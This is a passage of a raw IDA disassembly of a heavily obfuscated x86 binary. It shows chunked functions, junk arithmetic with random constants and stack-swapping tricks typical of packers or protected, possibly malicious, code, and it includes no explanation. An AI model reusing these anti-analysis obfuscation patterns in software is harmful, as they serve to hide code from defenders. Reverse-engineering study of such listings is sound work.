; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40A969:				; CODE XREF: sub_40D735-74E1j
		jz	loc_409F1E
		jmp	loc_405C2B
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_40A974:				; CODE XREF: sub_40D977:loc_4059AEj
		mov	eax, edx
		pop	edx
		shl	eax, 1Ah


loc_40A97A:				; CODE XREF: sub_41045F-5197j
		ror	edx, 18h
		push	edx
		jmp	loc_40E689
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_40A983:				; CODE XREF: sub_409E44+8j
		mov	ebp, esp
		call	sub_410E72


loc_40A98A:				; CODE XREF: _837l4vi2:00405219j
		and	ebx, 0D93C753Dh


loc_40A990:				; CODE XREF: _837l4vi2:loc_40D48Ej
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		push	ecx
		call	sub_405492
		jno	loc_40ACEC
		jmp	sub_405F9E
; END OF FUNCTION CHUNK	FOR sub_409E44
; ---------------------------------------------------------------------------

locret_40A9AC:				; CODE XREF: _837l4vi2:loc_40916Cj
		retn
; ---------------------------------------------------------------------------


loc_40A9AD:				; CODE XREF: _837l4vi2:0040F5B9j
		jmp	sub_40B088
; ---------------------------------------------------------------------------


loc_40A9B2:				; CODE XREF: _837l4vi2:0040A04Bj
		pushf
		call	sub_40D1BB
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40A9B8:				; CODE XREF: sub_40B859-3EB2j
		jmp	nullsub_174
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
		sbb	esi, 917F2F36h
		jmp	sub_409653

; =============== S U B	R O U T	I N E =======================================



sub_40A9C8	proc near		; CODE XREF: _837l4vi2:0040B04Bp

; FUNCTION CHUNK AT 00405581 SIZE 00000005 BYTES

		push	offset loc_40A9F7
		jmp	loc_405581
sub_40A9C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40A9D2:				; CODE XREF: sub_409D6B:loc_40AFA0j
		jz	loc_40C70B
		mov	eax, [eax]
		jmp	loc_40E004
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C099


loc_40A9DF:				; CODE XREF: sub_40C099:loc_410F9Cj
		or	eax, eax
		jz	loc_40C70B
		push	offset sub_405F85
		jmp	loc_406D50
; END OF FUNCTION CHUNK	FOR sub_40C099

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A9F1	proc near		; CODE XREF: sub_40B952:loc_40FB8Fj
		retn
sub_40A9F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40A9F2:				; CODE XREF: sub_41087A-66F5j
		jmp	loc_40C82B
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------


loc_40A9F7:				; DATA XREF: sub_40A9C8o
		mov	[esp], ebx
		push	edx
		push	ecx
		push	eax
		not	ecx
		or	edx, ebx
		jmp	loc_4090EB
; ---------------------------------------------------------------------------


loc_40AA06:				; DATA XREF: sub_407F6B-2DE6o
		or	eax, eax
		jnz	loc_407869
		call	sub_40EB97
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40AA13:				; CODE XREF: sub_405950+9458j
		jmp	loc_40EC13
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_40AA18:				; CODE XREF: sub_40F812-2309j
		jmp	loc_407C9D
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C099


loc_40AA1D:				; CODE XREF: sub_40C099-6E6Dj
		jmp	loc_410F90
; END OF FUNCTION CHUNK	FOR sub_40C099
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40AA22:				; CODE XREF: sub_406ADC+D55j
		mov	[edx], edi


loc_40AA24:				; CODE XREF: sub_406ADC:loc_40A7ABj
		call	nullsub_8
		retn
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40AA2A:				; CODE XREF: sub_40926F+508Ej
		jmp	loc_40B269
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDE4


loc_40AA2F:				; CODE XREF: sub_40BDE4-4B35j
		jmp	loc_40F7F1
; END OF FUNCTION CHUNK	FOR sub_40BDE4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B65B


loc_40AA35:				; CODE XREF: sub_40B65B+Cj
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_40B65B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40AA3A:				; CODE XREF: sub_406ADC-C12j
		call	sub_40E0FB
		jmp	loc_409BB9
; END OF FUNCTION CHUNK	FOR sub_406ADC

; =============== S U B	R O U T	I N E =======================================



sub_40AA44	proc near		; CODE XREF: sub_40BDE4-63EDj
					; _837l4vi2:loc_4076F8p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405624 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040593A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004062F7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004068FE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00406D25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004073FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040766C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407929 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00407C65 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040808C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004080B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004088CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004095BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040A153 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AC74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C863 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CE40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E0DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EDEF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040F29B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040FDFB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FE8E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FEA6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0041012C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410423 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410FF9 SIZE 00000019 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		jnz	loc_40593A
		call	sub_40BF48
		test	al, al
		jz	loc_407C65
		jmp	loc_405624
sub_40AA44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40AA60:				; CODE XREF: sub_407FEA+53j
		popf


loc_40AA61:				; CODE XREF: _837l4vi2:loc_40EE05j
		call	nullsub_9

locret_40AA66:				; CODE XREF: _837l4vi2:loc_40C5D9j
		retn
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40AA67:				; CODE XREF: sub_40C1F0-64C6j
		jmp	loc_4097C9
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40AA6D:				; CODE XREF: sub_406C7D+2BE6j
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------

locret_40AA72:				; CODE XREF: _837l4vi2:0040ABB7j
					; _837l4vi2:0040F6D6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40960E


loc_40AA73:				; CODE XREF: sub_40960E+8j
		jmp	loc_408E20
; END OF FUNCTION CHUNK	FOR sub_40960E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4093B0


loc_40AA78:				; CODE XREF: sub_4093B0+12j
		jmp	sub_407333
; END OF FUNCTION CHUNK	FOR sub_4093B0
; ---------------------------------------------------------------------------


loc_40AA7D:				; CODE XREF: _837l4vi2:00410513j
		call	sub_40BF48
		push	offset sub_40AE2D
		jmp	locret_40C8A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_40AA8C:				; CODE XREF: sub_40CF3C+1Ej
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-4], eax
		push	551C9A2Dh


loc_40AA9A:				; CODE XREF: sub_41087A-B008j
		pop	eax
		and	eax, 0EAC85461h
		jmp	loc_40DA8A
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------


loc_40AAA6:				; CODE XREF: _837l4vi2:004061DBj
		or	esi, 0D384D8C6h
		and	ecx, ebp
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_40AAAE:				; CODE XREF: sub_40CAD0-6906j
		add	eax, 8FC1B89Fh
		xchg	eax, [esp+0]
		jmp	loc_4069E0
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40AABC:				; CODE XREF: sub_405950:loc_40F6E2j
		xor	[esi], edx
		jmp	loc_40ACAC
; END OF FUNCTION CHUNK	FOR sub_405950

; =============== S U B	R O U T	I N E =======================================



sub_40AAC3	proc near		; CODE XREF: sub_408B48+Dp
					; sub_4073E8+8B5Fp
		mov	eax, 0D678B7ADh
		retn
sub_40AAC3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40AACA:				; CODE XREF: sub_406ADC+92B7j
		call	sub_40BF48
		test	al, al
		jmp	loc_409186
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C37


loc_40AAD6:				; CODE XREF: sub_405C37+6j
		add	edx, 0D1917C3Dh
		mov	[edx], eax
		pop	edx
		push	ebx
		push	0E742AC28h
		pop	ebx
		add	ebx, ds:4000D1h
		jmp	loc_40961B
; END OF FUNCTION CHUNK	FOR sub_405C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_40AAF1:				; CODE XREF: sub_40CA5A:loc_41041Ej
		jz	loc_408A0C
		jmp	loc_409351
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
		test	ebx, edx
		jmp	loc_40A93F

; =============== S U B	R O U T	I N E =======================================



sub_40AB03	proc near		; CODE XREF: _837l4vi2:00408C0Ej
					; _837l4vi2:0040CF8Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040DAC3 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		xchg	edx, [esp-4+arg_0]
		jmp	loc_40DAC3
sub_40AB03	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40AB0F:				; CODE XREF: _837l4vi2:00410C26j
		jz	loc_409C64

; =============== S U B	R O U T	I N E =======================================



sub_40AB15	proc near		; CODE XREF: sub_40A799+2153p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040C938 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		test	eax, eax
		setnz	byte ptr [ebp-1]
		jmp	loc_40C938
sub_40AB15	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB24	proc near		; CODE XREF: sub_40E0FBj

var_1		= byte ptr -1

; FUNCTION CHUNK AT 0040C934 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0041090F SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_41090F
sub_40AB24	endp

; ---------------------------------------------------------------------------


loc_40AB2C:				; DATA XREF: sub_40A2AB+1o
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_40E643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBFA


loc_40AB37:				; CODE XREF: sub_40DBFA-87B6j
		xor	eax, 0A67B89AAh
		add	eax, ebp
		add	eax, 0F7D7130Bh
		mov	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_40DBFA
; START	OF FUNCTION CHUNK FOR sub_40A8FE


loc_40AB47:				; CODE XREF: sub_40A8FE:loc_4051CEj
		mov	edx, [ebp-8]
		xchg	eax, [edx]
		push	ebp
		jmp	loc_410F78
; END OF FUNCTION CHUNK	FOR sub_40A8FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_40AB52:				; CODE XREF: sub_40DFF5+92j
		call	sub_40C099


loc_40AB57:				; CODE XREF: sub_407853+7C81j
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------


loc_40AB5C:				; CODE XREF: _837l4vi2:0040F85Aj
		sub	ebx, 3F43619Fh

; =============== S U B	R O U T	I N E =======================================



sub_40AB62	proc near		; CODE XREF: sub_40A26E+Bp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00407A45 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040842B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E75D SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	ecx, 71CFBF83h
		jmp	loc_40E75D
sub_40AB62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Ch,	0B6h, 0C6h
dword_40AB74	dd 7E410000h						; sub_40D363-3F06w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40AB78:				; CODE XREF: sub_410BD3-6EC6j
		jmp	loc_40D9F5
; END OF FUNCTION CHUNK	FOR sub_410BD3
; ---------------------------------------------------------------------------
		db 98h,	89h, 1Ch
dword_40AB80	dd 4E65B9BAh, 468B6433h		db 1Bh,	36h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4086F2


loc_40AB8B:				; CODE XREF: sub_4086F2+17A0j
		jmp	loc_40DEE7
; END OF FUNCTION CHUNK	FOR sub_4086F2
; ---------------------------------------------------------------------------
dword_40AB90	dd 26481F20h						; _837l4vi2:loc_40C780r
; ---------------------------------------------------------------------------


loc_40AB94:				; CODE XREF: _837l4vi2:00410685j
		jmp	loc_409EFD
; ---------------------------------------------------------------------------
		db 0A0h, 0ACh, 0F5h
dword_40AB9C	dd 144C28h						; sub_40B67D-43C6r ...
dword_40ABA0	dd 4DA3BE4h						; sub_4062DC+4w ...
; ---------------------------------------------------------------------------


loc_40ABA4:				; CODE XREF: _837l4vi2:0040F7BEj
		jmp	loc_408BBA
; ---------------------------------------------------------------------------
		db 0FAh, 0A7h, 9Ah
dword_40ABAC	dd 9481F200h						; sub_408D2F:loc_40C554w ...
; ---------------------------------------------------------------------------


loc_40ABB0:				; CODE XREF: _837l4vi2:0040EB52j
		jmp	loc_40990B
; ---------------------------------------------------------------------------
		test	al, al
		jz	locret_40AA72
		jmp	loc_40D6B9
; ---------------------------------------------------------------------------


loc_40ABC2:				; CODE XREF: _837l4vi2:00410342j
		jno	loc_4103A1
		sub	edx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_40ABCA	proc near		; CODE XREF: sub_40F9B3-1EDp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00408E05 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040C92F SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		push	eax
		push	eax
		jmp	loc_40C92F
sub_40ABCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABD5	proc near		; CODE XREF: sub_408527-1F74p
					; _837l4vi2:0040A755j

; FUNCTION CHUNK AT 00405E9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407B01 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040F15C SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx


loc_40ABD9:				; CODE XREF: sub_40DD9E:loc_40F161j
		shr	edx, 3
		mov	ecx, ds:dword_40AB9C
		or	[ecx+edx], al
		mov	ecx, [ebp-1Ch]
		and	ecx, 7
		mov	al, 1
		jmp	loc_405E9C
sub_40ABD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_40ABF2:				; CODE XREF: sub_4108F9:loc_40C34Dj
					; sub_4108F9-1685j
		call	sub_40B088
		mov	edx, 9E849D81h
		call	sub_40E739
		push	eax
; END OF FUNCTION CHUNK	FOR sub_4108F9
; START	OF FUNCTION CHUNK FOR sub_407A59


loc_40AC02:				; CODE XREF: sub_407A59:loc_4109E6j
		rol	eax, 6
		jmp	loc_408953
; END OF FUNCTION CHUNK	FOR sub_407A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408D96


loc_40AC0A:				; CODE XREF: sub_408D96:loc_40A149j
		jnz	loc_408A47
		jmp	loc_4064AA
; END OF FUNCTION CHUNK	FOR sub_408D96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4066CB


loc_40AC15:				; CODE XREF: sub_4066CB+6j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_4106A0
		or	eax, eax
		jnz	loc_40D7F0
		jmp	loc_410E38
; END OF FUNCTION CHUNK	FOR sub_4066CB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40AC2D:				; CODE XREF: sub_40B67D+7C3j
		jmp	loc_4059BA
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_40AC32:				; CODE XREF: sub_408567+1FE3j
		mov	ebp, 3A0BBA6Fh
; END OF FUNCTION CHUNK	FOR sub_408567

; =============== S U B	R O U T	I N E =======================================



sub_40AC37	proc near		; CODE XREF: sub_40E449+Ap

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_40E739
sub_40AC37	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AC43	proc near		; CODE XREF: sub_4065B8+1BA4p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00408127 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040923F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B3EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C690 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C7E7 SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	7
		push	esi
		push	2FA32CBEh
		jmp	loc_40C7E7
sub_40AC43	endp

; ---------------------------------------------------------------------------


loc_40AC56:				; CODE XREF: _837l4vi2:00410BBDj
		sbb	eax, edx

; =============== S U B	R O U T	I N E =======================================



sub_40AC58	proc near		; CODE XREF: sub_40DCDD+Ap

; FUNCTION CHUNK AT 0040CDD9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D24E SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax


loc_40AC5E:				; CODE XREF: _837l4vi2:loc_405211j
		jmp	loc_40D24E
sub_40AC58	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406732


loc_40AC63:				; CODE XREF: sub_406732+4DE7j
		push	edx
		and	edx, 6B67274Ch


loc_40AC6A:				; CODE XREF: sub_406ADC:loc_407EA2j
		call	sub_408B9F
; END OF FUNCTION CHUNK	FOR sub_406732
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_40AC6F:				; CODE XREF: sub_40A799+Dj
		jmp	loc_40C8DD
; END OF FUNCTION CHUNK	FOR sub_40A799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40AC74:				; CODE XREF: sub_40AA44-4744j
		jmp	sub_40C9A5
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407641


loc_40AC79:				; CODE XREF: sub_407641:loc_410015j
		push	offset loc_40F79C
		jmp	loc_40FB95
; END OF FUNCTION CHUNK	FOR sub_407641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40AC83:				; CODE XREF: sub_40926F:loc_40DB0Ej
		and	edx, 0C7CB8194h
		add	edx, 85B548A0h
		call	sub_40E739


loc_40AC94:				; CODE XREF: sub_406ADC:loc_407E92j
		call	sub_40D68E


loc_40AC99:				; CODE XREF: sub_40B859+48B8j
		cmp	edi, ebp
		jmp	loc_410F37
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------


loc_40ACA0:				; CODE XREF: _837l4vi2:0040EF8Aj
		jo	loc_4080E1


loc_40ACA6:				; CODE XREF: _837l4vi2:loc_40F340j
		add	dword ptr [esi], 0F80486h
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40ACAC:				; CODE XREF: sub_40D735-8550j
					; sub_4056BA:loc_405831j ...
		pop	edi
		pop	esi
		pop	ecx


loc_40ACAF:				; CODE XREF: sub_409E44+51BBj
		pop	ebx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------


loc_40ACB2:				; CODE XREF: _837l4vi2:0040F94Bj
		jmp	loc_408EEB
; ---------------------------------------------------------------------------
		jnp	sub_40D7F5
		jmp	loc_40801D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_40ACC2:				; CODE XREF: sub_40E236-33B1j
		jle	loc_40F5A2


loc_40ACC8:				; CODE XREF: sub_40E236:loc_40772Cj
		mov	eax, [ebp-0Ch]
		call	sub_406663
; END OF FUNCTION CHUNK	FOR sub_40E236
; START	OF FUNCTION CHUNK FOR sub_410D95


loc_40ACD0:				; CODE XREF: sub_410D95-24Cj
		cdq
		jl	loc_40EFC1
		jmp	loc_40B749
; END OF FUNCTION CHUNK	FOR sub_410D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40ACDC:				; CODE XREF: sub_40D735:loc_40503Bj
		cmp	dword ptr [ebp-4], 3
		jnz	loc_40B749


loc_40ACE6:				; CODE XREF: sub_4061E8:loc_40E1B5j
		jmp	loc_409444
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_40ACEC:				; CODE XREF: _837l4vi2:0040781Dj
					; sub_409E44+B5Dj
		jnz	loc_41099A
; END OF FUNCTION CHUNK	FOR sub_409E44

; =============== S U B	R O U T	I N E =======================================



sub_40ACF2	proc near		; CODE XREF: sub_40926F:loc_40F23Dp

; FUNCTION CHUNK AT 0040641D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040662D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406879 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004089AD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004096E8 SIZE 0000000C BYTES

		mov	[esp+0], esi
		pop	esi
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 80h
		jz	loc_4096E8
		inc	dword ptr [ebp-8]


loc_40AD06:				; CODE XREF: sub_40ACF2:loc_406879j
					; sub_40ACF2-233Bj
		mov	eax, [ebp-8]
		jmp	loc_40662D
sub_40ACF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40AD0E:				; CODE XREF: _837l4vi2:0040AEE4j
		retn
; ---------------------------------------------------------------------------


loc_40AD0F:				; CODE XREF: _837l4vi2:loc_40F807j
		rol	eax, 10h
		call	sub_405019
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40AD17:				; CODE XREF: sub_40D735+4E0j
		ror	esi, 1
		xor	eax, edx


loc_40AD1B:				; CODE XREF: sub_40D735:loc_40F908j
		push	96184BE9h
		pop	eax
		sub	eax, 3A55B12Dh
		jmp	loc_40FF59
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407E89


loc_40AD2C:				; CODE XREF: sub_407E89+4j
		push	0FFFFFFF1h
		call	sub_40D7F5
		push	offset loc_4105B2
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_407E89
; ---------------------------------------------------------------------------


loc_40AD3D:				; CODE XREF: _837l4vi2:0040B1E1j
		pop	edi
		xchg	edi, ecx
		xchg	edx, [esi]
		sbb	ebp, ecx
		jmp	loc_40E564
; ---------------------------------------------------------------------------


loc_40AD49:				; DATA XREF: _837l4vi2:0040B704o
		xor	esi, 0B67B674Bh
		add	eax, esi
		pop	esi
		add	eax, 95630F01h
		mov	eax, [eax]
		call	sub_407DF3
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_40AD5F:				; CODE XREF: sub_40D977+13j
		jmp	loc_409021
; END OF FUNCTION CHUNK	FOR sub_40D977

; =============== S U B	R O U T	I N E =======================================



sub_40AD64	proc near		; CODE XREF: sub_4087C8-10A6p
					; _837l4vi2:0040B350j

arg_0		= dword	ptr  4

		mov	[esp+0], esi
		pop	esi
		xchg	eax, [esp-4+arg_0]
		retn
sub_40AD64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40AD6C:				; CODE XREF: _837l4vi2:004102B5j
		jmp	loc_40D6CF
; ---------------------------------------------------------------------------


loc_40AD71:				; CODE XREF: _837l4vi2:0040511Cj
		jmp	locret_405663
; ---------------------------------------------------------------------------


loc_40AD76:				; DATA XREF: sub_4087C8-10ABo
		xchg	ecx, [esp]
		mov	ebp, ecx
		jmp	loc_407973
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40AD81:				; CODE XREF: sub_40833D:loc_409B93j
		sub	ecx, 9E0DE0D5h
		rol	ecx, 0Bh
		add	ecx, 0F32A393Ch
		xchg	ecx, [esp+0]
		jmp	loc_407E5C
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
		jb	loc_40B569
		jmp	sub_40AF01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_40ADA3:				; CODE XREF: sub_408567+1FDCj
		jbe	loc_40A548
		cdq


loc_40ADAA:				; CODE XREF: sub_408567:loc_40A537j
		add	edi, 94611B06h
		add	edi, ebp
		add	edi, 0E436B02Ah
		mov	[edi], eax
		pop	edi
		jmp	loc_4067AC
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40ADC0:				; CODE XREF: sub_40926F:loc_4092ACj
		push	offset loc_406A9F
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_40926F

; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; DATA XREF: sub_4103F2+5o

; FUNCTION CHUNK AT 004108B9 SIZE 00000007 BYTES

		not	ecx
		or	edx, ebx
		shl	ecx, 1
		pop	eax
		pop	ecx
		pop	edx
		jmp	loc_4108B9
sub_40ADCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40ADD8:				; CODE XREF: _837l4vi2:0040DA4Dj
		jbe	loc_408BD4


loc_40ADDE:				; CODE XREF: _837l4vi2:loc_40D6B9j
		push	ebx
		push	6B96F536h
		pop	ebx
		jmp	loc_406528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40ADEA:				; CODE XREF: sub_40CE96-BFBj
		push	edi
		pushf
		push	66A172F3h
		pop	edi
		add	edi, 999F2F0Ah
		popf
		xchg	edi, [esp+4+var_4]
		jmp	loc_4063B6
; END OF FUNCTION CHUNK	FOR sub_40CE96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_40AE01:				; CODE XREF: sub_40A7F9+54CAj
		mov	edx, esi


loc_40AE03:				; CODE XREF: sub_40A7F9:loc_40FCB6j
		and	esi, 26B29657h
		call	sub_40F680


loc_40AE0E:				; CODE XREF: _837l4vi2:0040E62Cj
		jmp	sub_40DE46
; END OF FUNCTION CHUNK	FOR sub_40A7F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


